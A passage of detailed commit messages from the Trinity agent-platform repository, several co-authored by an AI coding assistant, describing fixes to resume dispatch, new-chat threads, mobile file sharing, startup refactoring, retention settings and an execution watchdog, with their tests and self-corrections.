AC #5 — `resume_requested` on the answer response, read from the SAME accessor
the dispatch gates on, so the two cannot disagree about what is about to happen.
It reports INTENT, not success: the dispatch is backgrounded, so at that moment
the only honest claim is whether it will be attempted. Fails CLOSED — an
unreadable flag claims nothing, because over-claiming is exactly the failure
AC #5 names ("the ask does not read as resolved while nothing happened").
RESIDUAL, stated rather than implied: a dispatch that fails AFTER this point
surfaces as a FAILED execution row plus an `operator_resume_dispatch` audit
entry (ent#329) — operator-visible, and a client cannot see either. The client
half of AC #5 is satisfied negatively for now: the ask surface says nothing
about work starting, so it cannot mis-claim. `resume_requested` is the field a
surface needs to say something true; consuming it is an ent#429 UI change and is
deliberately not in this PR.
The per-agent flag DEFAULT IS UNCHANGED (`operator_resume_enabled`, OFF,
owner-only). "Turn the flag on" is an operator action per agent, not a code
default: flipping it would hand every shared agent's client a spend button,
which is the one thing AC #3 rules out.
Verification: 145 passed across the asks/ent#329/ent#364/#428/#429/#2376
selection. Mutation-checked — removing the dispatch (4 red), passing the
pre-answer row (1 red), and making the opt-in read fail open (1 red).
Closes ent#430
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* feat(workspace): New chat means a new chat (ent#451 — the fresh-thread slice)
Reported: pressing New chat in the Workspace drops you back into the existing
conversation with that agent. Decided at the 2026-08-21 weekly.
ONE VALUE CARRYING TWO MEANINGS. An absent `session_id` meant both "I don't know
which thread" and "I want a fresh one", and the platform resolved it as the
first, in both readers:
_resolve_session_id(..., None) -> resume the client's latest
get_history(..., None) -> return the most-recent thread
Both readings are RIGHT for the case they were written for — a deep link, a
refresh, an API caller that never held a session id — so neither could be
inverted. The intent had to become sayable: `new_thread` on the request,
`newChat` on the component, checked before the resume.
The frontend tell was an asymmetry: New chat with the agent you were ALREADY on
started fresh, while New chat with a different agent resumed. The watcher read a
changed agent as "load that agent's history" and called `fetchHistory(name,
null)`, discarding the `pendingSession = null` that `newChatWithAgent` had just
set to mean the opposite.
MOST OF ent#451 TURNED OUT TO BE BUILT. Recorded because the issue is
complexity-high and this PR is not:
* the data model already allows many sessions per (agent, client) — no UNIQUE
constraint, a `title` column, an index on
`(agent_name, client_email, last_message_at)`, and auto-titling. AC #4's
"migrates cleanly" is nothing to migrate.
* AC #2's list is the existing sidebar: titles, recency, starred lifted out,
search, per-agent avatars.
* AC #3's landing rule is already decided and documented in
`ensure_thread_for_ask` — reuse the latest thread so asks do not accumulate
beside the conversation. UNCHANGED here, and pinned by a test so this cannot
move it silently. It matters MORE once several chats exist, not less.
So what was missing is AC #1, and it is two bits rather than a data model.
Four properties:
* An explicit `session_id` WINS over the flag. A caller sending both contradicts
itself; the id is a fact, the flag an intent, and abandoning a named thread
would strand a turn meant for a conversation the caller could see.
* The ownership check runs first either way — the flag is never a route past it.
* BOTH turn entry points carry it. The Workspace uses the streaming path and
falls back to the synchronous one, so a flag honoured by only one brings the
bug back exactly when streaming fails.
* The intent is spent on adoption. The send guard already ANDs on "no session
yet", so a second turn was never going to open a third thread; clearing it in
`onSessionAdopted` keeps the two bits from disagreeing after a navigation.
Test doubles updated, not worked around: seven `_resolve_session_id` lambdas and
four `_fake_chat` stubs did not accept the new keyword. They take `**kw` now — a
stub that must be edited for every new parameter is a second signature — and one
hand-rolled `_Body` model double gained the field. All are stale stubs rather
than behaviour changes.
Verification: 392 passed across the portal/ent#286/#287/#358/#429/#430/#451
selection; 1497 frontend unit tests. Mutation-checked: making the flag inert, and
letting it override an explicit session id, each turn the suite red. The full
backend suite exceeds a local foreground run and is left to CI.
Pre-existing and NOT from this branch: `test_ent457_portal_turn_kwargs` and
`test_both_portal_row_creation_sites_name_the_chat` fail on `dev` today; both are
fixed in #2427.
Related to ent#451
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(review): the ?new=1 deep link, the missing frontend test, and three latent desyncs (ent#451)
Blocker 1 was real and I had not seen it. `resolveAgentQuery` passed `forceNew`
to `resolveAgentLanding` and set `pendingSession = null`, but never raised
`startingNewChat` — so `/workspace?agent=X&new=1` rendered an empty conversation
and then sent `new_thread: false`, resuming the thread the user asked to leave.
The reported bug, intact on the documented `?new=1` contract, in the PR that
exists to fix it.
The cause is the one this PR is about, one level up: `route.query.new` was read
in two places for two different decisions — WHICH THREAD to land on and WHAT THE
FIRST SEND ASKS FOR — and only the first honoured it. Now read ONCE into a local
that feeds both, so they cannot drift again. AND-ed with the landing result, so
a `?new=1` that still resolved a thread never claims a fresh start.
Blocker 2: a frontend test, which the change genuinely had none of — the
`1497 passed` in the body was the pre-existing suite, as the review says.
`workspaceNewChat.spec.js` (9 tests) covers the deep link, the watcher branch
ORDER, the first-paint guard, both send conjunctions, and the settle-everywhere
rule, using the two established patterns (pure function + source assertion in
the `portalLeaveSpecificRoute.spec.js` shape) since vitest runs
`environment: 'node'` with no mount harness. Mutation-checked, and M1 is the
reviewer's own blocker: reverting it turns the suite red.
Blocker 3: `test_history_without_a_session_is_unchanged` cited "the spec in
tests/unit/... frontend suite" — a dangling reference asserting coverage that
did not exist. It now names the real file.
Comments addressed:
* Three more sites nulled `pendingSession` without settling the intent — the
deep-link watcher (the commonest way in), `openRoom`, `openAgentPage`, plus
the unreachable-agent branch. Latent because both consumers AND on "no session
yet", but a flag that is only correct because of a second variable is one
refactor from being wrong, and the declaration claims it is cleared the moment
a real thread exists. Now true.
* `test_both_turn_entry_points_forward_it` was `getsource` + a substring, so a
comment or a misspelled kwarg satisfied it. It now BINDS the keyword against
each service signature and asserts the routes forward `body.new_thread`
through a comment-stripped source — verified by mutation.
* `workspace-absorbs-session.md` updated at both seams the change touches
(`resolveAgentLanding`'s landing rule and `_resolve_session_id`'s three
states), and `architecture.md`'s Workspace section documents the new public
`new_thread` field on the ent#83 headless surface.
* Gating stated rather than inferred: "OSS-core by decision (ent#451)", matching
the ent#326/#384/#392 convention.
ONE CORRECTION, offered with evidence rather than silently applied. The review
says "`test_ent457_portal_turn_kwargs.py` doesn't exist on `dev`, #2427
introduces it". It does exist on `dev` — added by d6a4bc10 (ent#457) — and #2427
modifies it. `git cat-file -e origin/dev:tests/unit/test_ent457_portal_turn_kwargs.py`
succeeds, and `backend-unit-test` is failing on `dev` independently of any PR.
So the body's "fails on dev today" stands. Everything else in the review is
accepted as written.
Verification: frontend 1497 -> 1506 (+9). Backend 392 passed on the portal
selection, the same 2 pre-existing dev failures unchanged.
Related to ent#451
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(resume): the respond→resume dispatch never ran — bad import, masked by its own stub (ent#329)
Found by testing this PR's feature against a live local instance. ent#430 wires
a Workspace answer to `spawn_resume_dispatch`, so this PR is dead on arrival
without it — the client path would have hit the same wall the operator path has
been hitting since ent#329 merged.
THE BUG. `operator_resume_service.maybe_dispatch_resume` did:
from services.task_execution_service import task_execution_service
That name has never existed on that module; it exports
`get_task_execution_service()`. The import sits on the FIRST line of the
function, above the try, so every dispatch raised ImportError before it even
read the opt-in.
WHY NOBODY NOTICED, twice over:
* the call is fire-and-forget, so the traceback surfaces only as asyncio's
"Task exception was never retrieved" — nothing fails, nothing 500s, the
answer is recorded and the config audit row is written. It looks like it
worked.
* the ent#329 unit test stubbed `services.task_execution_service` with
`SimpleNamespace(task_execution_service=recorder)` — MANUFACTURING the very
symbol whose absence was the bug. 21 tests green, feature dead.
MEASURED on a live instance, opt-in ON:
before: answer 200, audit row written, executions 0->0, log carries
"cannot import name 'task_execution_service'"
after : answer 200, executions 0->1, triggered_by=operator_response,
audit `operator_resume_dispatch` with the execution id, 0 ImportErrors
(The dispatched run then failed on a missing AGENT_AUTH_SECRET — a limitation of
the test box, and correctly recorded as an honest FAILED row, which is ent#329's
"never silent" requirement doing its job.)
THE GUARD is the durable part, because the stub is the real lesson: a stub that
invents an API the real module lacks converts a production crash into a green
suite. `test_the_names_this_service_imports_actually_exist_on_the_real_modules`
parses the REAL module source with `ast` — never the stubbed `sys.modules`
entry, which is what made this invisible — and asserts every
`from services.X import Y` resolves. Mutation-checked: reverting the import
turns 11 tests red.
Related to ent#430, ent#329
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(review): the dispatch could not run, the race loser spent, the flag over-claimed (ent#430)
All three blockers from the review, each verified rather than argued.
1. THE FEATURE WAS INERT. `client_portal/asks/router.py` declares `answer_ask`
as a plain `def`, so FastAPI runs it through `run_in_threadpool` — a worker
thread with no event loop — and `asyncio.create_task` raises
`RuntimeError: no running event loop` there. The `except` swallowed it, so every
client answer recorded the answer and dispatched nothing: byte-for-byte the
behaviour this PR exists to remove.
Fixed in `spawn_resume_dispatch` rather than by flipping the route to
`async def`, for the two reasons the review names: the route does blocking DB
I/O, so `async def` alone would move it onto the loop; and ent#430's stated
shape is ONE dispatch site, which moving the spawn back out to the caller would
undo. It now detects the absence of a loop and hops back via
`anyio.from_thread.run_sync` — Starlette's threadpool is anyio's, so the portal
is always there on this path. Any future sync caller inherits the fix.
A thread anyio does not own reaches neither branch. That is not a production
shape, but it must not become the silent no-op this change removes, so it raises
with the cause named instead.
2. THE RACE LOSER SPENT MONEY. `respond_to_operator_queue_item` returns None
only when the row is GONE; when the row exists and has left `pending` — the race
that actually happens — it returns a TRUTHY dict carrying `_status_conflict`,
having written nothing. `if not updated` fell straight through it. The loser
then dispatched a paid execution for an answer not in the database, and because
the idempotency key hashes the response text, the loser's differing text yields
a different digest: one queue item, two paid dispatches. `routers/operator_queue.py`
already pops that flag before its own spawn; this is that rule, not a new one.
Popped, not read, so the sentinel cannot serialize to the client.
3. `resume_requested` OVER-CLAIMED. It was computed after the swallowed spawn
from the opt-in flag alone, so a spawn that raised still answered `true` — the
exact failure AC #5 names, and given (1) that was EVERY production answer on an
opted-in agent. It now reports what was actually scheduled.
TESTS — the reason all three survived 24 green checks is that every existing test
replaced `spawn_resume_dispatch` with a synchronous lambda, stubbing out the one
call whose runtime context was the defect. `test_ent430_dispatch_actually_runs.py`
drives the REAL spawn from a REAL anyio worker thread (the production context,
not an approximation) and asserts the premise before the behaviour. The lost-race
test uses the truthy `_status_conflict` shape that actually occurs, not the
`None` shape that does not. Mutation-checked: reverting fix 1 turns 1 red, fix 2
turns 3 red, fix 3 turns 2 red.
Writing those tests also caught a stubbing bug of my own, worth recording because
it is the trap that hid the original: patching only `sys.modules` leaves
`from services import operator_resume_service` resolving the PACKAGE ATTRIBUTE,
so the real function ran anyway. Both paths are patched now.
Related to ent#430
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(review): the answered ask said pending, and the docs described one caller (ent#430)
Non-blocking findings from review pass 2. The three blockers landed in d11956a8.
STATUS. `_project` mapped every row to pending/expired, so the response to a
just-recorded answer read `status: "pending"` beside `resume_requested: true` —
one row reporting both that nobody has answered it and that answering it started
work. Harmless while the second field did not exist; contradictory once it did.
`_status_of` adds `answered` (`responded`/`acknowledged`), reachable only from
the answer response since the listing carries neither. Answered is checked
BEFORE expiry — an answer that landed is a fact, and an `expires_at` that has
since passed does not un-answer it; the obvious refactor is to test expiry first,
which would make a slow client's own answer vanish, so the ordering is pinned.
The existing test asserted `out.status in ("pending", "expired")` with the
comment 'the point is it returned at all' — it was papering over exactly this.
It now asserts `answered` and, on the spawn-failure path it covers, that
`resume_requested` is False.
THE TWO READS. `_resume_requested`'s docstring claimed it read 'the SAME
accessor … so the two cannot disagree'. True of the accessor, false of the
instant: it is a second read a task hop earlier, and an owner disabling the
opt-in in between gets `true` and no resume. Collapsing them is not the fix —
they answer different questions (one must produce a value for THIS response, the
other is the authority at the moment it would spend), so the window is stated,
with AC #5's own remedy named, rather than described away.
DOCS. architecture.md's ent#329 section described a single caller and stated the
CAS-win property the second caller broke. It now carries the second caller, the
truthy-`_status_conflict` shape that defeated `if not updated`, the
sync-endpoint/no-loop defect and its `anyio.from_thread.run_sync` fix, and what
`resume_requested` actually reports.
Related to abilityai/trinity-enterprise#430
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* chore(enterprise): bump the submodule pointer to main (a419812 -> 90f2f2c) (#2440)
dev's pointer was OLDER than main's — an inversion, not just staleness. The
next dev -> main release merge would have carried it backwards and undone
ent#443's enterprise-side removal:
OSS main -> 2a5def3 (ent#443: shared_sessions removed from enterprise)
OSS dev -> a419812 (4 behind enterprise main, 2026-08-19)
ENT main -> 90f2f2c
90f2f2c is a fast-forward from BOTH (a419812...main = ahead 0 / behind 4;
2a5def3...main = ahead 3 / behind 0), so nothing is being rewound.
WHAT THE FOUR COMMITS ARE
2a5def3 refactor(rooms): remove shared_sessions — it now lives in OSS core (ent#443)
ff0a4f1 fix(security): guard the enterprise system_settings sinks against
cleartext credentials (ent#435) — the private twin of the OSS sink
guard architecture.md already records as "the private submodule owns
its twin"
6d82a3f docs(workspace): agent-initiated asks — design of record
90f2f2c feat(credential-vault): governed system credential vault module (ent#279)
WHY IT MATTERS RATHER THAN BEING HOUSEKEEPING. ent#443 moved rooms into OSS
core, and dev has that. With the stale pin an entitled dev install mounts the
OSS rooms routers AND the enterprise shared_sessions module, and relies on
main.py's include-order (OSS before register_enterprise) to decide which one
serves. architecture.md documents that ordering as the transition safety net —
this bump is the follow-through that ends the transition.
VERIFIED BY BOOTING BOTH POINTERS against dev, same box, same DB shape:
a419812 (today): 17 modules | shared_sessions registered: True | 6 room paths | 0 errors
90f2f2c (this): 17 modules | shared_sessions registered: False | 6 room paths | 0 errors
Both boot clean and log "Trinity Enterprise modules registered" — the line
deploy-dev greps. Module count is unchanged because shared_sessions leaves as
credential_vault arrives. No duplicate room paths in either, confirming the
ordering net held; after the bump there is nothing to net.
Gitlink only — no OSS source changes, so public CI (which never checks the
submodule out) is unaffected.
Related to ent#443, ent#435, ent#279
* chore(metrics): code-health dashboard 2026-08-31 @ 135248e9 (#2438)
Co-authored-by: Trinity Agent (trinity) <trinity-agent@ability.ai>
* chore(deps): bump node (#2400)
Bumps the docker-base-images group with 1 update in the /docker/frontend directory: node.
Updates `node` from 24-alpine to 26-alpine
---
updated-dependencies:
- dependency-name: node
dependency-version: 26-alpine
dependency-type: direct:production
dependency-group: docker-base-images
...
Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
* fix(files): shared links were unopenable on mobile — Range, disposition, MIME, CORP (trinity-enterprise#461) (#2439)
* fix(files): shared links were unopenable on mobile — Range, disposition, MIME, CORP (trinity-enterprise#461)
The bytes were never wrong. Verified from the Cloudflare edge, the object
returned HTTP 200 with correct content-length and correct WAV bytes for every
user-agent tried, and the signature check worked. The RESPONSE SHAPE was wrong
in four ways at once, and each one alone is enough to break playback in an iOS
in-app browser:
* no Range support — `Range: bytes=0-1023` returned 200 with the whole 2 MB
body and no `accept-ranges`. iOS Safari and Telegram's player require a 206
to start audio at all, so this alone made the file unplayable.
* `content-disposition: attachment` — a forced 2 MB download inside Telegram's
iOS browser is a blank screen.
* `audio/x-wav` under `nosniff` — unregistered type, so a strict player
declines it and the browser is forbidden from guessing better.
* `cross-origin-resource-policy: same-origin` on a link whose entire purpose is
to be opened from another platform.
Plus `cache-control: no-store`, which forbids the in-app browser from buffering
media it will not play without buffering.
THE INLINE CHANGE IS A NARROWING, NOT A REVERSAL. The old code forced
`attachment` on everything with the note 'defense against XSS via
agent-uploaded HTML', and that reasoning is still correct — this route serves
agent-authored bytes from the same origin as public chat. So inline is an
ALLOWLIST (`_INLINE_SAFE_TYPES`: audio, video, image, PDF) and `text/html`,
`application/xhtml+xml` and `image/svg+xml` stay attachments. SVG is called out
because it is the one a reviewer waves through: it is an image by name and a
script host in fact. The type is python-magic-detected from the file's own bytes
at share time, never agent-supplied, and its unavailable-fallback
(`application/octet-stream`) sits outside the allowlist, so the failure
direction is `attachment`. `nosniff` is kept and matters more now, not less.
TWO THINGS THE ISSUE DID NOT ASK FOR, both found while implementing:
* `Content-Length` came from the DB's `size_bytes`, written at share time. Any
drift from the file on disk is unrecoverable for the client — too small
truncates, too large hangs — and Range math against a wrong total produces a
`Content-Range` that contradicts the body. It now comes from
`os.path.getsize`, with a WARNING on divergence.
* a media player fetches one file as MANY ranged requests. Counting each as a
download would turn one play into dozens and write an audit row per chunk, so
the counter and the audit fire only on the transfer START (a plain GET, or a
range beginning at byte 0).
VERIFIED end-to-end against the real route, not just the parsers:
full GET : 200 | type audio/wav | disp inline | ranges bytes
| corp cross-origin | cc private, max-age=3600
range 0-1023 : 206 | body 1024 | bytes 0-1023/2048000 | bytes ok
suffix -500 : 206 | bytes 2047500-2047999/2048000 | bytes ok
unsatisfiable : 416 | bytes */2048000
HEAD : 200 | accept-ranges bytes | content-length 2048000
no sig / bad sig / unknown id / expired : 401 / 401 / 404 / 410
html file / svg file : attachment
That covers the issue's Definition of Done line by line, including that the
signature check still rejects unsigned and expired requests.
46 new unit tests, weighted to the allowlist and to the range parser's
silent-corruption case (`bytes=-500` is the LAST 500 bytes; reading it as
start=0 serves the wrong bytes under a 206, which no client can detect).
Related to trinity-enterprise#461
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(files): the CORP header was inert — the security middleware clobbered it (trinity-enterprise#461)
Found by testing the PR against a real local instance rather than a TestClient.
`main.add_security_headers` runs after EVERY route and set
`Cross-Origin-Resource-Policy` with a plain assignment. So the `cross-origin`
policy the file-download route sets — one of the four fixes in this PR, and the
one that decides whether Telegram, Slack or WhatsApp can embed or preview the
link at all — was silently overwritten back to `same-origin` on its way out.
The fix shipped INERT and every test passed, because a bare `FastAPI()` +
router harness has no middleware. Measured on the running server:
before: cross-origin-resource-policy: same-origin
after : cross-origin-resource-policy: cross-origin (file route)
cross-origin-resource-policy: same-origin (/health, unchanged)
`setdefault` rather than a route allowlist: absence still resolves to the strict
default, so every other route keeps today's behaviour and a new route has to opt
out deliberately rather than inherit an exception.
Pinned by a source assertion — asserting it end-to-end needs a live stack, and
what must not regress is the `setdefault`; an edit back to `=` would re-break it
invisibly.
Related to trinity-enterprise#461
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
* refactor(main): lifespan is an orchestrator, not a 580-line procedure (#1028) (#2437)
* refactor(main): lifespan is an orchestrator, not a 580-line procedure (#1028)
`main.py::lifespan` was 580 lines at cyclomatic complexity 109 — the longest
function in the backend and the first item the 2026-06-02 refactor audit named.
It is now 25 lines at CC 1: a flat list of `await _phase()` calls over twelve
startup helpers and four shutdown helpers.
WHAT MOVED, AND THE PROOF THAT NOTHING ELSE DID. Every body is verbatim. That
is asserted mechanically rather than claimed: extracting all non-blank lines
from the sixteen helpers in call order and diffing against the original
`lifespan` body gives 518 = 518, identical. The only relocated line is `yield`.
No behaviour change, no logic touched, no try/except reshaped — each phase keeps
its own guard, because a failing phase must not take the boot down, which is
what the original did.
WHY THE TEST IS THE POINT. Splitting the function is easy; keeping it split is
not, and the thing worth guarding is not the line count — it is THE ORDER.
Boot ordering is load-bearing in ways invisible at the call site: a reviewer
looking at sixteen await lines cannot see that moving one breaks something,
because the coupling lives in the bodies. Before this it was implicit in a
function nobody could read in one sitting; after it, it is a list — which is an
improvement only if something enforces the list.
So `tests/unit/test_1028_lifespan_phases.py` pins the sequence WITH the reason
for each constrained pair recorded beside it: logging first so a later hang
cannot swallow the boot log (#858); the event bus before any WebSocket client
needs a live dispatcher (#306); Docker/system-agent before the fleet sweepers;
startup recovery before the channel transports, so inbound traffic cannot create
an execution that races the reconcile; the event-bus drain LAST on shutdown so
late broadcasts still land. A reorder now fails with the reason attached instead
of surfacing weeks later as a boot bug nobody connects to this commit.
It also pins the `yield` split (a phase appended after it silently becomes
shutdown work), the per-helper thresholds the issue asked for (<100 lines,
CC <20), and orphan/double calls. Mutation-checked five ways — recovery moved
after the transports, event bus after Docker, a dropped shutdown phase, the
drain no longer last, a phase pushed past `yield` — all caught.
ONE DEFECT THIS FOUND IN ITSELF, worth recording because it is the failure this
refactor's shape invites. The extraction moved `@asynccontextmanager` by one
definition: it landed on the first phase helper and `lifespan` was left a bare
async generator, which FastAPI cannot use as a lifespan. Boot-breaking — and the
entire 12,900-test unit suite stayed green, because nothing in it imports `main`
and asks what shape `lifespan` is. It surfaced only from an explicit import
check (`iscoroutinefunction` on each helper returned False for one, with
`co_filename` pointing into contextlib). Fixed, and pinned by its own test.
Docs: the `main.py` row in architecture.md now records that the order is the
contract and where the constraints are, so the next person to add a startup step
knows it belongs in a phase helper.
Scope: one file per the issue's own recommendation. The remaining ACs
(`routers/settings.py`, `routers/ops.py`, `services/git_service.py`,
`services/agent_client.py`, `routers/public.py::public_chat`) stay open on #1028.
Related to #1028
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(review): three phase helpers used locals the split left behind (#1028)
/review's scope pass caught a real runtime break in my own extraction, and the
interesting part is that three separate verifications had already passed on it.
`main.py` never imports `database` at module level. The old `lifespan` did
`from database import db as _db` once near the top, and three blocks 100+ lines
later used it through the enclosing function scope: the system-agent
`setup_completed` gate, the Telegram transport and the WhatsApp transport.
`message_router` was the same shape — imported in the Slack block, used by the
Telegram one. After the split all four are NameError.
The severity is in the swallow. Every one of those use sites sits inside
`try/except Exception`, so the boot SUCCEEDS: the log carries "Error starting
Telegram transport: name '_db' is not defined" and the Telegram and WhatsApp
integrations are simply never wired. A silently dead integration, not a failed
boot — and the per-phase guard that makes each phase fail-open is exactly what
hides the extraction bug.
Why the existing checks missed it, all three: the AST equivalence proof compares
LINES and the lines are identical; the structural pin asserts order, thresholds
and decorators, not name resolution; and the `import main` smoke never RUNS
`lifespan`, so nothing resolves those names at import time.
Fixed by re-materialising each import in the helper that needs it — the
original's own idiom — with a comment saying why it is there, so a later reader
does not "tidy" it back out.
CORRECTION TO THE CLAIM: the bodies are no longer byte-identical. They are
verbatim EXCEPT these four re-materialised imports, which is now what the PR
body and the docstrings say. A verbatim claim stops being true the moment a
leaked name has to be restored, and quietly keeping the claim is worse than the
bug.
Also pinned, because this gets more likely with every future split of the same
function: test_no_phase_helper_depends_on_another_phases_locals asserts, per
helper, that `names_loaded - names_bound - module_globals` is empty. Mutation-
checked by deleting the restored `_db` import — reproduces the shipped bug and
turns the suite red.
Also: the phase-count docstrings said "of 10" in 9 helpers; the transports were
split into three after that text was written, so it is 12.
learnings.md gains the class: extract-method has a failure mode the diff cannot
show and an import smoke cannot reach.
Related to #1028
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* docs(review): the verbatim claim survived in three docstrings (#1028)
Re-review finding. The previous commit corrected "bodies are byte-identical"
in the PR body but left the same claim standing in the code, where it is more
likely to be believed: the three helpers that gained a re-materialised import
still said "the body below is unchanged".
A stale claim next to the exact line that falsifies it is worse than no claim —
it is the thing a future reader checks against before deciding the import looks
redundant. Now each says verbatim EXCEPT the restored import, and points at the
comment explaining why it is there.
Related to #1028
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(tests): two pre-existing lifespan guards read a function the split emptied (#1028)
CI's regression diff caught 4 new failures, deterministic across all three
seeds. Both guards assert properties of `lifespan`'s SOURCE, and #1028 moved
that source into phase helpers — so they were asserting things about a function
that is now 25 lines of `await` calls.
The properties still hold. The guards had stopped being able to see them, which
is the worse failure: a guard that silently stops covering its subject reads
identically to one that passes.
test_1267_lifespan_db_alias — and this one is pointed: #1267 IS the bug class
/review caught in this branch. It fired when the transport blocks called a bare
`db` while only `_db` was in scope, NameError swallowed by the surrounding
try/except and surfaced as a misleading "Error starting Telegram transport".
The split re-introduced the same class in a new form (`_db` bound in phase 1,
read in three later helpers), and this guard could not see it because it only
ever looked inside `lifespan`.
So it now follows the calls: `_lifespan_surface()` returns `lifespan` plus the
helpers it awaits, and every check scans all of them. The alias check is
STRENGTHENED rather than merely relocated — binding `_db` somewhere on the
surface is no longer sufficient, because after the split each helper is its own
scope, so every function that READS `_db` must bind it. That assertion fails on
the exact defect this branch shipped.
test_858_dockerfile_unbuffered — the #858 invariant is an ORDERING one
(setup_logging -> first-run notice -> event_bus.start), and after the split
those three sit in three different functions. `_lifespan_body()` now flattens
the phases inline in call order, so the existing index comparisons keep meaning
what they meant. An unresolvable helper is left as the bare `await` rather than
skipped, so a phase this cannot expand can never silently drop the statements
it contains.
No production code changed.
Related to #1028
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(retention): every install writes its own retention rows, not just fresh ones (#2085) (#2432)
#1645 closed #1638 by reverting OPS_SETTINGS_DEFAULTS to the wide historical
values and applying the #1039 community floor through explicit system_settings
rows seeded on FRESH installs only. Every install that has ever upgraded rather
than been created fresh therefore had no rows at all, so cleanup_service
resolved all 11 windows at prune time from a dict that ships inside the backend
image and is replaced on every rebuild. The only thing between a future edit to
that dict and the #1638 failure mode — a silent hard-DELETE of existing data
seconds after the next boot, green /health, no error — was a code comment.
database._seed_retention_windows{,_engine} now writes an explicit row for every
RETENTION_OPS_KEYS member that has none, at the value already in force, on every
boot and regardless of install age. Behaviourally inert: it writes the number the
prune already used, so nothing prunes differently the day it runs.
Three properties are load-bearing:
* The key set is DERIVED from RETENTION_OPS_KEYS, never a second hand-written
list, so a window added later is covered the day it ships instead of quietly
inheriting the image default forever (the issue text said "eight windows"; it
was 11 by the time this landed — ent#433 added two, #2216 a third).
* Ordering. It MUST run after _seed_fresh_install_retention. Both writers are
insert-or-ignore, so the first to reach a key wins: reversed, a fresh install
silently gets the wide defaults instead of the #1039 floor — the community
floor deleted by the change meant to protect retention. Pinned behaviourally
and by a source-order guard on both the SQLite and engine arms.
* It must actually run. The first cut imported the constants from
services.settings_service, which has a module-level `from database import db`.
init_database() is called from DatabaseManager.__init__, i.e. while database.py
is still executing its own module body, so database.db does not exist yet and
that import raises ImportError — which this seed's fail-safe contract then
SWALLOWS. The feature was dead on every boot with a fully green unit suite,
because every in-process test calls the function after database has finished
importing. RETENTION_OPS_KEYS, OPS_SETTINGS_DEFAULTS and
NON_ROW_RETENTION_OPS_KEYS therefore move to config.py (a leaf, already home to
OPS_SETTINGS_VALIDATION and validate_ops_setting for these same keys) and are
re-exported from settings_service, extending the pattern
COMMUNITY_FRESH_INSTALL_SEED already used for exactly this reason. Two tests
now pay for a real subprocess import; both fail if the import is reverted.
Stated tradeoff: a seeded install stops inheriting later changes to the code
default in EITHER direction, so widening a window for existing installs becomes a
deliberate migration rather than something that arrives silently with an image.
That is the intended consequence — retention becomes explicit per-install config
instead of implicit inheritance from whatever image happens to be running,
symmetric with the rule the OPS_SETTINGS_DEFAULTS comment already imposes on
narrowing.
backup_retention_days is seeded too. That makes OPS_SETTINGS_DEFAULTS' value the
one that lands in the DB for a key whose private reader
(db_backup_service.effective_backup_retention_days, inverted coercion) falls back
to its own module constant; the two are now parity-tested.
No schema change, no migration — row inserts at boot, same as the #1638 seed.
Not fixed here: generic DELETE /api/settings/{key} carries no RETENTION_OPS_KEYS
guard (only PUT does), so an admin can still delete a window row. After this it is
transient — the next boot re-seeds it — but the asymmetry with PUT remains.
Unblocks ops#300 once deployed: with rows on every install, /update step 8e can
drop its source-text guessing for a plain assertion over stored values.
Closes #2085
* fix(watchdog): stop false-orphaning executions parked before the agent spawns them (abilityai/trinity#2433) (#2435)
* fix(watchdog): stop false-orphaning executions parked before the agent spawns them
The cleanup watchdog's proof-of-life (GET agent/api/executions/running:
running ∪ recently-completed) could not see an admitted execution that was
waiting in the backend's global agent-call queue, in the agent's CPU-sized
default thread pool, behind the agent chat lock, or in the post-exit drain
before unregister(). After the 60s grace it wrote a false `failed`
("completed on agent but status not reported"), released the slot, and the
parked call then ran anyway — billed, overbooked, its late 200 silently
overwriting the row (#378). Reproduced twice locally; three mechanisms, one
string.
Orphan now means: the agent does not know the execution AND no live backend
dispatcher owns it.
- agent server: /api/executions/running gains `pending_ids` (accepted at
/api/task, /api/chat and the #1083 async spawn but not yet spawned; lazily
expired) and `recently_completed_ids` covers exited-but-registered handles.
Cancel-while-pending is consumed by register() (SIGKILL at spawn, #679 marker
kept); the pre-spawn 409 is only an optimisation. Headless runs use a
dedicated 32-thread pool pinned to MAX_PARALLEL_TASKS_CEILING_MAX; the Gemini
runtime now registers its subprocess at both Popen sites (it never did).
- backend: every outbound agent call is registered for its whole lifetime
(track_inflight_dispatch — queue wait, connect retries, POST) in an
in-process registry plus a cross-worker Redis liveness marker
execution:inflight:{id} (60s TTL, one refresher task per process, 15s tick).
The watchdog reads a tri-state verdict (alive / absent / unknown) and
withholds recovery on `alive`, and on `unknown` only while a dispatcher could
still own the row; a process with no Redis reads `absent` (its own registry
is the whole truth). CleanupReport.dispatch_inflight_skipped counts withheld
rows; the orphan error string states what was observed.
- a park no longer spends the run's budget: at grant, a park ≥ 5s restamps
started_at (admission kept in queued_at, the drained-backlog shape, CAS on
RUNNING + NULL lease) and renews the slot lease (ZADD XX + EXPIRE together);
the refresher renews the slot every tick while parked.
- parked rows are cancellable and agent-scoped: terminate consults the
in-process registry, then the cross-worker cancel key; a parked phase is
finalized CANCELLED and the grant raises BackendAgentCallCancelled, where the
dispatcher writes CANCELLED itself (never FAILED; the /chat arm answers 409).
- terminate_execution gains ONE agent-scope gate at its entry for all three
arms: the row behind the caller-supplied task_execution_id must belong to the
agent the route proved (uniform 404; an unreadable row fails closed with
503). The proxy arm's 404 scoped only execution_id while the CANCELLED CAS
was keyed on task_execution_id, so a caller authorised on agent A could flip
agent B's running row (found by the /cso --diff verifier; report under
docs/security-reports/).
- packaging: BACKEND_AGENT_CALL_LIMIT / BACKEND_AGENT_CALL_QUEUE_TIMEOUT_S
forwarded in prod + hosted compose and documented in .env.example; the >5s
